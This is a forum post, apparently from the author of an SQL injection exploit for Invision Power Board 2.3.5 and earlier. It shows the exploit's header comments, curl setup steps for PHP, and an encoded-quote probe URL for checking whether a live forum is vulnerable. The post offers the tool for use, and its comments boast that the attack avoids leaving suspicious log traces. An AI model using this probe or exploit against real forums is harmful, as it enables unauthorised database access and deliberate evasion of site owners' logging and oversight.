Based on DarkFig's excellent advisory. Easy to use, fast and usually does leave minimal log traces.
Feedback is welcome!
[[update]] ==> version 1.1 with Curl autoload!

// IPB <= 2.3.5 sql injection exploit
// Version 1.1
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 22. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
//

Look in subfolder "ext" in php folder. Can you see file "php_curl.dll"?
Now edit php.ini accordingly:
| Code: |
; Directory in which the loadable extensions (modules) reside.
extension_dir = "./ext"
|
And
| Code: |
extension=php_curl.dll
|
Let me know about results.
By the way, i got idea ... i will try to use dl() function, if curl extension is not loaded. This can make things easier
[[update]] ==> i've published version 1.1 of exploit, with curl autoloader.
Look for first post, it's version 1.1 now. Or dowload from here:

Most of the IPB installations are allready patched. So first thing to do is to try this:
| Code: |
http://www.***.com/forums/index.php?act=xmlout&do=check-display-name&name=%2527
|
If you will see "IPS driver error", then exploit should work. If you get "not found" or something like that, then specific target is allready pacthed |
